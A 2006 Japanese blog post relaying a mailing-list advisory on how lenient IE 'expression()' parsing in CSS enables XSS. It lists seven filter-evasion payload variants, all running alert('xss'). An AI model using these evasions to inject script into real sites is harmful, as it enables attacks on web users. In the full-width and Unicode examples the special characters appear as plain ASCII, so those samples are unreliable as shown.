IE における "expression" の過剰検出による XSS の 誘因

comments(0) | trackback(0)

はてなブックマークに追加 はてなブックマーク数 del.icio.us に追加 livedoor クリップに追加 livedoor クリップ数 Yahoo!ブックマークに追加

  http://archive.openmya.devnull.jp/2006.08/msg00369.html

  IE では expression(式) をスタイルシート内で記述することで JavaScript を記述することができるのは有名ですが,
  IE による expression の検出がやたら過剰で XSS を引き起こしやすいということらしい.

  実態参照やコメントの挿入,Unicode 文字,全角文字で記述しても expression として検出される.
  詳細は,上記サイトより引用.

IE では、以下のようなスタイルを記述することで、JavaScript を動作させる
ことが可能です。

1) <style>ブロック内での定義
<style>input { left:expression( alert('xss') ) } </style>

2) インラインでのスタイル定義
<div style="{ left:expression( alert('xss') ) }">

3) コメントの挿入
<div style="{ left:exp/*  */ression( alert('xss') ) }">

4) バックスラッシュでのコードポイント指定
<div style="{ left:\0065\0078pression( alert('xss') ) }">

5) 実体参照
インラインでのスタイル定義では、実体参照が利用可能です。
<div style="{ left:&#x0065;xpression( alert('xss') ) }">

6) 全角文字
<div style="{ left:expression( alert('xss') ) }">

7) 特定のUnicode文字
<div style="{ left:expRessioN( alert('xss') ) }">
R は U+0280、N は U+0274 または U+207F が利用可能です。

上記 1) ? 7) は相互に組み合わせて表記することも可能です。
また、6) および 7) は、IE7 RC1 では動作しません。

  アプリケーション側で対応しなければならないので,スタイルシートの記述を許可しているアプリケーションは注意が必要.

- via: セキュリティホール memo メーリングリスト
  http://memo.st.ryukoku.ac.jp/archive/200608.month/9096.html

タグ: [Security]

この記事へのコメント

(コメントはありません)

この記事へのコメントを書く

名前:

メールアドレス (公開されません):

URL:

コメント (入力必須)

この記事へのトラックバック URL

http://cl.pocari.org/tb.php/2006-08-31-1

この記事へのトラックバック

(トラックバックはありません)